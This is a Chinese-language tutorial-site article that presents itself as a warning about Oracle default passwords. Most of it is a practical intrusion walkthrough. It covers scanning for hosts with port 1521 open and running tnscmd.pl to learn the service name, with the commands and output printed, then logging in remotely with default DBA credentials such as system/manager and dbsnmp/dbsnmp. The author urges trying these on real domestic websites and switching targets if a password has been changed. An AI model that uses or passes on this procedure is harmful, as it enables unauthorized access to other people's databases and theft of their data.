程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> Oracle數據庫 >> Oracle數據庫基礎 >> Oracle數據庫中所存在默認密碼的威脅

Oracle數據庫中所存在默認密碼的威脅

編輯:Oracle數據庫基礎

Oracle數據庫是現在很流行的數據庫系統,很多大型網站都采用Oracle,它之所以倍受用戶喜愛是因為它有以下突出的特點:

1:支持大數據庫、多用戶的高性能的事務處理。Oracle支持最大數據庫,其大小可到幾百千兆,可充分利用硬件設備。支持大量用戶同時在同一數據上執行各種數據應用,並使數據爭用最小,保證數據一致性。系統維護具有高的性能,Oracle每天可連續24小時工作,正常的系統操作(後備或個別計算機系統故障)不會中斷數據庫的使用。可控制數據庫數據的可用性,可在數據庫級或在子數據庫級上控制。

2:Oracle遵守數據存取語言、操作系統、用戶接口和網絡通信協議的工業標准。所以它是一個開放系統,保護了用戶的投資。美國標准化和技術研究所(NIST)對Oracle7 SERVER進行檢驗,100%地與ANSI/ISO SQL89標准的二級相兼容。

3:實施安全性控制和完整性控制。Oracle為限制各監控數據存取提供系統可靠的安全性。Oracle實施數據完整性,為可接受的數據指定標准。

4:支持分布式數據庫和分布處理。Oracle為了充分利用計算機系統和網絡,允許將處理分為數據庫服務器和客戶應用程序,所有共享的數據管理由數據庫管理系統的計算機處理,而運行數據庫應用的工作站集中於解釋和顯示數據。通過網絡連接的計算機環境,Oracle將存放在多台計算機上的數據組合成一個邏輯數據庫,可被全部網絡用戶存取。分布式系統像集中式數據庫一樣具有透明性和數據一致性。

具有可移植性、可兼容性和可連接性。由於Oracle軟件可在許多不同的操作系統上運行,以致Oracle上所開發的應用可移植到任何操作系統,只需很少修改或不需修改。Oracle軟件同工業標准相兼容,包括很多工業標准的操作系統,所開發應用系統可在任何操作系統上運行。可連接性是指ORALCE允許不同類型的計算機和操作系統通過網絡可共享信息。

雖然Oracle數據庫具有很高的安全性,但是如果我們在配置的時候不注意安全意識,那麼也是很危險的。也就是說,安全最主要的還是要靠人自己,而不能過分依賴軟件來實現。

我們知道,在mssql中,安裝完成後默認有個sa的登陸密碼為空,如果不更改就會產生安全漏洞。那麼oracle呢?也有的。為了安裝和調試的方便,Oracle數據庫中的兩個具有DBA權限的用戶Sys和System的缺省密碼是manager。筆者發現很多國內網站的Oracle數據庫沒有更改這兩個用戶的密碼,其中也包括很多大型的電子商務網站, 我們就可以利用這個缺省密碼去找我們感興趣的東西。如何實現,看下面的文章吧。

進行測試前我們先來了解一些相關的知識,我們連接一個Oracle數據庫的時候,需要知道它的service_name或者是Sid值,就象mssql一樣,需要知道數據庫名。那如何去知道呢,猜?呵呵,顯然是不行的。這裡我們先講講oracle的TNS listener,它位於數據庫ClIEnt和數據庫Server之間,默認監聽1521端口,這個監聽端口是可以更改的。但是如果你用一個tcp的session去連接1521端口的話,oracle將不會返回它的banner,如果你輸入一些東西的話,它甚至有可能把你踢出去。這裡我們就需要用tnscmd.pl這個perl程序了,它可以查詢遠程Oracle數據庫是否開啟(也就是ping了),查詢版本,以及查詢它的服務名,服務狀態和數據庫服務名,而且正確率很高。

理論方面的講完了,如果還有什麼不懂的可以去查找相關資料。現在開始測試吧,需要的工具有:ActivePerl,Oracle客戶端,Superscan或者是其它掃描端口的軟件, Tnscmd.pl。

我們先用Superscan掃描開放了端口1521的主機,假設其IP是xx.xx.110.110,這樣目標已經有了。然後我們要做的就是用Tnscmd.pl來查詢遠程數據庫的服務名了,Tnscmd.pl的用法如下:

  C:\perl\bin>perl tnscmd.pl

  usage: tnscmd.pl [command] -h hostname

  where 'command' is something like ping, version, status, etc.

  (default is ping)

  [-p port] - alternate TCP port to use (default is 1521)

  [--logfile logfile] - write raw packets to specifIEd logfile

  [--indent] - indent & outdent on parens

  [--rawcmd command] - build your own CONNECT_DATA string

  [--cmdsize bytes] - fake TNS command size (reveals packet leakage)

 
 

我們下面用的只有簡單的幾個命令,其他的命令也很好用,一起去發掘吧。。。。

然後我們就這樣來:

  C:\perl\bin>perl tnscmd.pl services -h xx.xx.110.110 -p 1521 –indent

  sending (CONNECT_DATA=(COMMAND=services)) to xx.xx.110.110:1521

  writing 91 bytes

  reading

  ._.......6.........?. ..........

  DESCRIPTION=

  TMP=

  VSNNUM=135286784

  ERR=0

  SERVICES_EXIST=1

  

  .Q........

  SERVICE=

  SERVICE_NAME=ORCL

  INSTANCE=

  INSTANCE_NAME=ORCL

  NUM=1

  INSTANCE_CLASS=ORACLE

  HANDLER=

  HANDLER_DISPLAY=DEDICATED SERVER

  STA=ready

  HANDLER_INFO=LOCAL SERVER

  HANDLER_MAXLOAD=0

  HANDLER_LOAD=0

  ESTABLISHED=447278

  REFUSED=0

  HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227

  HANDLER_NAME=DEDICATED

  ADDRESS=

  PROTOCOL=beq

  PROGRAM=/home/oracle/bin/oracle

  ENVS='ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL'

  ARGV0=OracleORCL

  ARGS='

  LOCAL=NO

  '

  .........@

 
 

從上面得到的信息我們可以看出數據庫的服務名為ORCL,然後我們就可以通過sqlplus工具來遠程連上它了,用戶名和密碼我們用默認的system/manager或者是sys/manager,其他的如mdsys/mdsys,ctxsys/ctxsys等,這個默認用戶和密碼是隨版本的不同而改變的哦~~~~。

如下:

  C:\oracle\ora90\BIN>sqlplus /nolog

  SQL*Plus: Release 9.0.1.0.1 - Production on Thu May 23 11:36:59 2002

  (c) Copyright 2001 Oracle Corporation. All rights reserved.

  

  SQL>connect system/manager@

(description=(address_list=(address=(protocol=tcp)

(host=xx.xx.110.110)(port=1521)))

(connect_data=(SERVICE_NAME=ORCL)));

如果密碼正確,那麼就會提示connected,如果不行,再換別的默認用戶名和密碼。經過筆者的嘗試一般用dbsnmp/dbsnmp都能進去。當然如果對方已經把默認密碼改了,那我們只能換別的目標了。但是我發現很多都是不改的,這個就是安全意識的問題了。

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved